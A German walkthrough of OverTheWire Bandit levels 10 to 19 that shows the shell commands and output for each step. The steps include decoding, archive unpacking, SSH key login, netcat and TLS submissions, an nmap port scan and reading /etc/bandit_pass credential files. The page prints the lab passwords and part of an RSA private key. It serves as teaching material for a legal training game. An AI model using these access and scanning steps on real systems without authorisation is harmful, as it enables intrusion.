<p>Wir melden uns nun als <strong>bandit10</strong> mit dem Passwort <strong>truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Das Passwort befindet sich in der Datei <strong>data.txt</strong>, welche <a href="https://de.wikipedia.org/wiki/Base64">Base64</a> enkodierte Daten enthält.</p>
<p>Mithilfe von <strong>base64 -d</strong> können wir ganz einfach Strings und Dateien, welche mit <a href="https://de.wikipedia.org/wiki/Base64">Base64</a> enkodiert wurden, dekodieren.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit10@bandit:~$ ls
</span></span><span style="display:flex;"><span>data.txt
</span></span><span style="display:flex;"><span>bandit10@bandit:~$ base64 -d data.txt 
</span></span><span style="display:flex;"><span>The password is IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR
</span></span></code></pre></div><h2 id="level-11---level-12"><strong>Level 11 -&gt; Level 12</strong></h2>
<p>Wir melden uns nun als <strong>bandit11</strong> mit dem Passwort <strong>IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Das Passwort befindet sich in der Datei <strong>data.txt</strong>, allerdings wurden jeweils alle Kleinbuchstaben (a-z) und Großbuchstaben (A-Z) um 13 Positionen rotiert.</p>
<p>Hier wurde die bekannte <a href="https://de.wikipedia.org/wiki/ROT13">ROT13 Caesar-Verschlüsselung</a> benutzt. Diese können wir mithilfe von <a href="https://wiki.ubuntuusers.de/tr/">tr</a> oder Python rückgängig machen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit11@bandit:~$ ls
</span></span><span style="display:flex;"><span>data.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bandit11@bandit:~$ cat data.txt
</span></span><span style="display:flex;"><span>Gur cnffjbeq vf 5Gr8L4qetPEsPk8htqjhRK8XSP6x2RHh
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bandit11@bandit:~$ cat data.txt | tr a-zA-Z n-za-mN-ZA-M
</span></span><span style="display:flex;"><span>The password is 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bandit11@bandit:~$ python -c <span style="color:#e6db74">&#39;print &#34;Gur cnffjbeq vf 5Gr8L4qetPEsPk8htqjhRK8XSP6x2RHh&#34;.decode(&#34;rot13&#34;)&#39;</span>
</span></span><span style="display:flex;"><span>The password is 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu
</span></span></code></pre></div><h2 id="level-12---level-13"><strong>Level 12 -&gt; Level 13</strong></h2>
<p>Wir melden uns nun als <strong>bandit12</strong> mit dem Passwort <strong>5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Das Passwort befindet sich in der Datei <strong>data.txt</strong>, welche ein Hexdump einer Datei ist, die mehrmals komprimiert wurde. Für dieses Level empfiehlt es sich, unter <strong>/tmp</strong> ein Verzeichnis zu erstellen, die Datei dort hinzukopieren und umzubenennen.</p>
<p>In diesem Level müssen wir Dateien mehrmals mithilfe von <a href="https://wiki.ubuntuusers.de/tar/">tar</a>, <a href="https://wiki.ubuntuusers.de/gzip/">gzip</a> und <a href="https://wiki.ubuntuusers.de/bzip2/">bzip2</a> entpacken. Mithilfe von <a href="https://de.wikipedia.org/wiki/File#Benutzung">file</a>, finden wir heraus, womit die Dateien komprimiert wurden.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit12@bandit:~$ ls
</span></span><span style="display:flex;"><span>data.txt
</span></span><span style="display:flex;"><span>bandit12@bandit:~$ cat data.txt 
</span></span><span style="display:flex;"><span>00000000: 1f8b <span style="color:#ae81ff">0808</span> ecf2 445a <span style="color:#ae81ff">0203</span> <span style="color:#ae81ff">6461</span> <span style="color:#ae81ff">7461</span> 322e ......DZ..data2.
</span></span><span style="display:flex;"><span>00000010: <span style="color:#ae81ff">6269</span> 6e00 <span style="color:#ae81ff">0149</span> 02b6 fd42 5a68 <span style="color:#ae81ff">3931</span> <span style="color:#ae81ff">4159</span> bin..I...BZh91AY
</span></span><span style="display:flex;"><span>00000020: <span style="color:#ae81ff">2653</span> <span style="color:#ae81ff">5930</span> 3e1b <span style="color:#ae81ff">4000</span> <span style="color:#ae81ff">0014</span> ffff dde3 2b6d &amp;SY0&gt;.@.......+m
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>bandit12@bandit:~$ mkdir /tmp/m10x
</span></span><span style="display:flex;"><span>bandit12@bandit:~$ cp data.txt /tmp/m10x/data.txt
</span></span><span style="display:flex;"><span>bandit12@bandit:~$ cd /tmp/m10x/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ xxd -r data.txt &gt; data
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ file data
</span></span><span style="display:flex;"><span>data: gzip compressed data, was <span style="color:#e6db74">&#34;data2.bin&#34;</span>, last modified: Thu Dec <span style="color:#ae81ff">28</span> 13:34:36 2017, max compression, from Unix
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ mv data data.gz
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ gzip -d data.gz
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ ls
</span></span><span style="display:flex;"><span>data data.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ file data
</span></span><span style="display:flex;"><span>data: bzip2 compressed data, block size <span style="color:#f92672">=</span> 900k
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ mv data data.bz2
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ bzip2 -d data.bz2 
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ ls
</span></span><span style="display:flex;"><span>data data.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ file data
</span></span><span style="display:flex;"><span>data: gzip compressed data, was <span style="color:#e6db74">&#34;data4.bin&#34;</span>, last modified: Thu Dec <span style="color:#ae81ff">28</span> 13:34:36 2017, max compression, from Unix
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ mv data data.gz
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ gzip -d data.gz 
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ ls
</span></span><span style="display:flex;"><span>data data.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ file data
</span></span><span style="display:flex;"><span>data: POSIX tar archive <span style="color:#f92672">(</span>GNU<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ mv data data.tar
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ tar -xvf data.tar 
</span></span><span style="display:flex;"><span>data5.bin
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ ls
</span></span><span style="display:flex;"><span>data.tar data.txt data5.bin
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ file data5.bin 
</span></span><span style="display:flex;"><span>data5.bin: POSIX tar archive <span style="color:#f92672">(</span>GNU<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ tar -xvf data5.bin
</span></span><span style="display:flex;"><span>data6.bin
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ file data6.bin 
</span></span><span style="display:flex;"><span>data6.bin: bzip2 compressed data, block size <span style="color:#f92672">=</span> 900k
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ mv data6.bin data6.bz
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ bzip2 -d data6.bz
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ ls
</span></span><span style="display:flex;"><span>data.tar data.txt data5.bin data6
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ file data6
</span></span><span style="display:flex;"><span>data6: POSIX tar archive <span style="color:#f92672">(</span>GNU<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ mv data6 data6.tar
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ tar -xvf data6.tar
</span></span><span style="display:flex;"><span>data8.bin
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ file data8.bin
</span></span><span style="display:flex;"><span>data8.bin: gzip compressed data, was <span style="color:#e6db74">&#34;data9.bin&#34;</span>, last modified: Thu Dec <span style="color:#ae81ff">28</span> 13:34:36 2017, max compression, from Unix
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ mv data8.bin data8.gz
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ gzip -d data8.gz
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ ls
</span></span><span style="display:flex;"><span>data.tar data.txt data5.bin data6.tar data8
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ file data8
</span></span><span style="display:flex;"><span>data8: ASCII text
</span></span><span style="display:flex;"><span>bandit12@bandit:/tmp/m10x$ cat data8
</span></span><span style="display:flex;"><span>The password is 8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL
</span></span></code></pre></div><h2 id="level-13---level-14"><strong>Level 13 -&gt; Level 14</strong></h2>
<p>Wir melden uns nun als <strong>bandit13</strong> mit dem Passwort <strong>8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Das Passwort für das nächste Level befindet sich in  <strong>/etc/bandit_pass/bandit14</strong> und kann nur von dem Benutzer <strong>bandit14</strong> gelesen werden. Allerdings bekommst du den <a href="https://de.wikipedia.org/wiki/Secure_Shell#Authentifizierung">privaten SSH key</a>, mit welchem du dich als <strong>bandit14</strong> einloggen kannst.</p>
<p>In diesem Level bekommen wir den <a href="https://de.wikipedia.org/wiki/Secure_Shell#Authentifizierung">privaten SSH key</a> für das nächste Level. Mit <strong>ssh -i</strong> können wir den <a href="https://de.wikipedia.org/wiki/Secure_Shell#Authentifizierung">privaten SSH key</a> um uns als <strong>bandit14</strong> mit <strong>localhost</strong> zu verbinden.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit13@bandit:~$ ls
</span></span><span style="display:flex;"><span>sshkey.private
</span></span><span style="display:flex;"><span>bandit13@bandit:~$ ssh -i sshkey.private bandit14@localhost
</span></span><span style="display:flex;"><span>bandit14@bandit:~$
</span></span></code></pre></div><h2 id="level-14---level-15"><strong>Level 14 -&gt; Level 15</strong></h2>
<p>Wir melden uns nun als <strong>bandit14</strong> mit dem Passwort <strong>4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Das Passwort für das nächste Level bekommst du, indem du das Passwort des derzeitigen Levels zu dem Port 30000 auf dem lokalen Host einreichst.</p>
<p>Bei diesem Level senden wir mithilfe von <a href="https://wiki.ubuntuusers.de/netcat/">nc ( netcat )</a> das Passwort an <strong>localhost 3000</strong>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit14@bandit:~$ cat /etc/bandit_pass/bandit14
</span></span><span style="display:flex;"><span>4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e
</span></span><span style="display:flex;"><span>bandit14@bandit:~$ echo 4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e | nc -v localhost <span style="color:#ae81ff">30000</span>
</span></span><span style="display:flex;"><span>nc: connect to localhost port <span style="color:#ae81ff">30000</span> <span style="color:#f92672">(</span>tcp<span style="color:#f92672">)</span> failed: Connection refused
</span></span><span style="display:flex;"><span>Connection to localhost <span style="color:#ae81ff">30000</span> port <span style="color:#f92672">[</span>tcp/*<span style="color:#f92672">]</span> succeeded!
</span></span><span style="display:flex;"><span>Correct!
</span></span><span style="display:flex;"><span>BfMYroe26WYalil77FoDi9qh59eK5xNr
</span></span></code></pre></div><h2 id="level-15---level-16"><strong>Level 15 -&gt; Level 16</strong></h2>
<p>Wir melden uns nun als <strong>bandit15</strong> mit dem Passwort <strong>BfMYroe26WYalil77FoDi9qh59eK5xNr</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Das Passwort für das nächste Level erhältst du, indem du das Passwort des derzeitigen Levels zu dem Port 30001 auf dem lokal Host einreichst, während du <a href="https://de.wikipedia.org/wiki/Transport_Layer_Security">SSL-Verschlüsselung</a> benutzt.</p>
<p>Hier benutzen wir <strong>openssl s_client -connect localhost:30001</strong> um eine SSL Verbindung mit <strong>localhost</strong> auf dem Port <strong>30001</strong> herzustellen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit15@bandit:~$ echo BfMYroe26WYalil77FoDi9qh59eK5xNr | openssl s_client -quiet -connect localhost:30001
</span></span><span style="display:flex;"><span>depth<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> CN <span style="color:#f92672">=</span> bandit
</span></span><span style="display:flex;"><span>verify error:num<span style="color:#f92672">=</span>18:self signed certificate
</span></span><span style="display:flex;"><span>verify <span style="color:#66d9ef">return</span>:1
</span></span><span style="display:flex;"><span>depth<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> CN <span style="color:#f92672">=</span> bandit
</span></span><span style="display:flex;"><span>verify <span style="color:#66d9ef">return</span>:1
</span></span><span style="display:flex;"><span>Correct!
</span></span><span style="display:flex;"><span>cluFn7wTiGryunymYOu4RcffSxQluehd
</span></span></code></pre></div><h2 id="level-16---level-17"><strong>Level 16 -&gt; Level 17</strong></h2>
<p>Wir melden uns nun als <strong>bandit16</strong> mit dem Passwort <strong>cluFn7wTiGryunymYOu4RcffSxQluehd</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Die Zugangsdaten für das nächste Level erhältst du, indem du das Passwort des derzeitigen Levels zu einem <strong>Port</strong> auf dem <strong>lokalen Host</strong> in der Reichweite von <strong>31000 bis 32000</strong> einreichst. Zuerst musst du herausfinden auf welchem dieser Ports ein Server läuft und danach welcher <strong>SSL</strong> benutzt und welcher nicht. Es gibt nur <strong>einen</strong> Server der dir die Zugangsdaten zurücksendet, die anderen senden nur zurück, was du ihnen gesendet hast.</p>
<p>Mit <a href="https://wiki.ubuntuusers.de/nmap/">nmap</a> können wir nach offenen Ports scannen. Durch die Option <strong>-A</strong> ermittelt <a href="https://wiki.ubuntuusers.de/nmap/">nmap</a> unter anderem, welche Programme bei den offenen Ports laufen. <strong>-p</strong> legt fest welche Ports gescannt werden sollen. Wenn man <strong>-p</strong> weglässt, werden nur Ports gescannt, welche üblicherweise von Programmen benutzt werden.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit16@bandit:~$ nmap -A -p 31000-32000 localhost
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>PORT      STATE SERVICE      VERSION
</span></span><span style="display:flex;"><span>31046/tcp open  echo
</span></span><span style="display:flex;"><span>31518/tcp open  ssl/echo
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>31691/tcp open  echo
</span></span><span style="display:flex;"><span>31790/tcp open  ssl/unknown
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>31960/tcp open  echo
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>Nur der Port <strong>31790</strong> scheint kein Echo zurückzugeben. Der nächste Schritt ist analog zum vorherigen Level.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit16@bandit:~$ echo cluFn7wTiGryunymYOu4RcffSxQluehd | openssl s_client -quiet -connect localhost:31790
</span></span><span style="display:flex;"><span>depth<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> CN <span style="color:#f92672">=</span> bandit
</span></span><span style="display:flex;"><span>verify error:num<span style="color:#f92672">=</span>18:self signed certificate
</span></span><span style="display:flex;"><span>verify <span style="color:#66d9ef">return</span>:1
</span></span><span style="display:flex;"><span>depth<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> CN <span style="color:#f92672">=</span> bandit
</span></span><span style="display:flex;"><span>verify <span style="color:#66d9ef">return</span>:1
</span></span><span style="display:flex;"><span>Correct!
</span></span><span style="display:flex;"><span>-----BEGIN RSA PRIVATE KEY-----
</span></span><span style="display:flex;"><span>MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
</span></span><span style="display:flex;"><span>imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
</span></span><span style="display:flex;"><span>vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY<span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span>-----END RSA PRIVATE KEY-----
</span></span></code></pre></div><p>Als nächstes erstellen wir ein neues Verzeichnis <strong>/tmp/shhkey/</strong>. Wir kopieren den SSH-Key und leiten ihn von <strong>echo</strong> zu der Datei <strong>sshkey.private</strong> um, welche dadurch erstellt wird.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit16@bandit:~$ mkdir /tmp/sshkey/
</span></span><span style="display:flex;"><span>bandit16@bandit:~$ echo <span style="color:#e6db74">&#34;-----BEGIN RSA PRIVATE KEY-----
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&gt; MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&gt; imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">[...]
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&gt; dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&gt; vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&gt; -----END RSA PRIVATE KEY-----
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&gt; &#34;</span> &gt; /tmp/sshkey/sshkey.private
</span></span></code></pre></div><p>Jetzt können wir uns wie bei Level 13 mithilfe der Datei <strong>sshkey.private</strong> eine Verbindung aufbauen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit16@bandit:~$ cd /tmp/sshkey
</span></span><span style="display:flex;"><span>bandit16@bandit:/tmp/sshkey$ ssh -i sshkey.private bandit17@localhost
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
</span></span><span style="display:flex;"><span>@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
</span></span><span style="display:flex;"><span>Permissions <span style="color:#ae81ff">0664</span> <span style="color:#66d9ef">for</span> <span style="color:#e6db74">&#39;sshkey.private&#39;</span> are too open.
</span></span><span style="display:flex;"><span>It is required that your private key files are NOT accessible by others.
</span></span><span style="display:flex;"><span>This private key will be ignored.
</span></span><span style="display:flex;"><span>Load key <span style="color:#e6db74">&#34;sshkey.private&#34;</span>: bad permissions
</span></span><span style="display:flex;"><span>bandit17@localhost<span style="color:#960050;background-color:#1e0010">&#39;</span>s password:
</span></span><span style="display:flex;"><span>packet_write_wait: Connection to 127.0.0.1 port 22: Broken pipe
</span></span></code></pre></div><p>Allerdings müssen wir noch die Berechtigungen der Datei ändern, sodass andere diesen nicht lesen können.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit16@bandit:/tmp/sshkey$ ls -la
</span></span><span style="display:flex;"><span>total <span style="color:#ae81ff">720</span>
</span></span><span style="display:flex;"><span>drwxrwxr-x <span style="color:#ae81ff">2</span> bandit16 bandit16 <span style="color:#ae81ff">4096</span> Feb <span style="color:#ae81ff">15</span> 21:50 .
</span></span><span style="display:flex;"><span>drwxrwx-wt <span style="color:#ae81ff">1929</span> root root <span style="color:#ae81ff">724992</span> Feb <span style="color:#ae81ff">15</span> 21:55 ..
</span></span><span style="display:flex;"><span>-rw-rw-r-- <span style="color:#ae81ff">1</span> bandit16 bandit16 <span style="color:#ae81ff">1676</span> Feb <span style="color:#ae81ff">15</span> 21:50 sshkey.private
</span></span></code></pre></div><p>Mithilfe von <a href="https://wiki.ubuntuusers.de/chmod/">chmod</a> können wir Berechtigungen für Dateien ändern. Wir setzen die Berechtigungen so, dass die Datei nur gelesen werden darf, und dies auch nur von dem aktuellen Nutzer <strong>bandit16</strong>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit16@bandit:/tmp/sshkey$ chmod <span style="color:#ae81ff">400</span> sshkey.private
</span></span><span style="display:flex;"><span>bandit16@bandit:/tmp/sshkey$ ls -la
</span></span><span style="display:flex;"><span>total <span style="color:#ae81ff">720</span>
</span></span><span style="display:flex;"><span>drwxrwxr-x <span style="color:#ae81ff">2</span> bandit16 bandit16 <span style="color:#ae81ff">4096</span> Feb <span style="color:#ae81ff">15</span> 21:50 .
</span></span><span style="display:flex;"><span>drwxrwx-wt <span style="color:#ae81ff">1929</span> root root <span style="color:#ae81ff">724992</span> Feb <span style="color:#ae81ff">15</span> 21:56 ..
</span></span><span style="display:flex;"><span>-r-------- <span style="color:#ae81ff">1</span> bandit16 bandit16 <span style="color:#ae81ff">1676</span> Feb <span style="color:#ae81ff">15</span> 21:50 sshkey.private
</span></span><span style="display:flex;"><span>bandit16@bandit:/tmp/sshkey$ ssh -i sshkey.private bandit17@localhost
</span></span></code></pre></div><h2 id="level-17---level-18"><strong>Level 17 -&gt; Level 18</strong></h2>
<p>Wir melden uns nun als <strong>bandit17</strong> mit dem Passwort <strong>xLYVMN9WE5zQ5vHacb0sZEVqbrp7nBTn</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
In dem Heimverzeichnis befinden sich 2 Dateien: <strong>passwords.old</strong> und <strong>passwords.new</strong>. Das Passwort für das nächste Level befindet sich in <strong>passwords.new</strong> und ist die einzige Zeile, welche sich von <strong>passwords.old</strong> unterscheidet.</p>
<p>Mit <a href="https://wiki.ubuntuusers.de/diff/">diff</a> können wir den Inhalt von zwei Dateien vergleichen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit17@bandit:~$ ls
</span></span><span style="display:flex;"><span>passwords.new passwords.old
</span></span><span style="display:flex;"><span>bandit17@bandit:~$ diff passwords.new passwords.old
</span></span><span style="display:flex;"><span>42c42
</span></span><span style="display:flex;"><span>&lt; kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd
</span></span><span style="display:flex;"><span>---
</span></span><span style="display:flex;"><span>&gt; 6vcSC74ROI95NqkKaeEC2ABVMDX9TyUr
</span></span></code></pre></div><h2 id="level-18---level-19"><strong>Level 18 -&gt; Level 19</strong></h2>
<p>Wir melden uns nun als <strong>bandit18</strong> mit dem Passwort <strong>kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Das Passwort für das nächste Level befindet sich in einer Datei im Heimverzeichnis namens <strong>readme</strong>. Allerdings hat jemand <a href="https://wiki.ubuntuusers.de/Bash/bashrc/">.bashrc</a> so modifiziert, dass du ausgeloggt wirst, wenn du dich über SSH einloggst.</p>
<p>Da wir uns nur für den Bruchteil einer Sekunde anmelden können, müssen wir einen anderen Weg kommen, um an das Password innerhalb der Datei <strong>readme</strong> zu kommen.<br>
Indem wir <strong>cat readme</strong> an den SSH-Verbindungsbefehl hängen, wird dieser ausgeführt, nachdem wir das richtige Password eingegeben haben.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# ssh bandit18@bandit.labs.overthewire.org -p <span style="color:#ae81ff">2220</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>Welcome to OverTheWire!
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>Byebye !
</span></span><span style="display:flex;"><span>Connection to bandit.labs.overthewire.org closed.
</span></span><span style="display:flex;"><span>root@kali:~#
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>root@kali:~# ssh bandit18@bandit.labs.overthewire.org -p <span style="color:#ae81ff">2220</span> cat readme
</span></span><span style="display:flex;"><span>This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
</span></span><span style="display:flex;"><span>bandit18@bandit.labs.overthewire.org<span style="color:#960050;background-color:#1e0010">&#39;</span>s password: 
</span></span><span style="display:flex;"><span>IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x
</span></span><span style="display:flex;"><span>root@kali:~#
</span></span></code></pre></div><h2 id="level-19---level-20"><strong>Level 19 -&gt; Level 20</strong></h2>
<p>Wir melden uns nun als <strong>bandit19</strong> mit dem Passwort <strong>IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x</strong> an.<br>
Der Tipp zu diesem Level ist wie folgt:<br>
Um Zugang zu dem nächsten Level zu erhalten, solltest du die <a href="https://de.wikipedia.org/wiki/Setuid">setuid</a> Binärdatei im Heimverzeichnis benutzen. Führe sie ohne Argumente aus, um herauszufinden wie man sie benutzt. Das Passwort für das nächste Level kann wie gewohnt in <strong>/etc/bandit_pass</strong> gefunden werden.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit19@bandit:~$ ls 
</span></span><span style="display:flex;"><span>bandit20-do
</span></span></code></pre></div><p>Wir haben die Binärdatei <strong>bandit20-do</strong> im Heimverzeichnis. Führen wir diese mal aus.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>bandit19@bandit:~$ ./bandit20-do 
</span></span><span style="display:flex;"><span>Run a command as another user.
</span></span><span style="display:flex;"><span>Example: ./bandit20-do id
</span></span></code></pre></div><p>Anscheinend können wir dadurch Befehle als ein anderer Benutzer ausführen. Benutzen wir mal den Befehl der uns vorgeschlagen wird.</p>
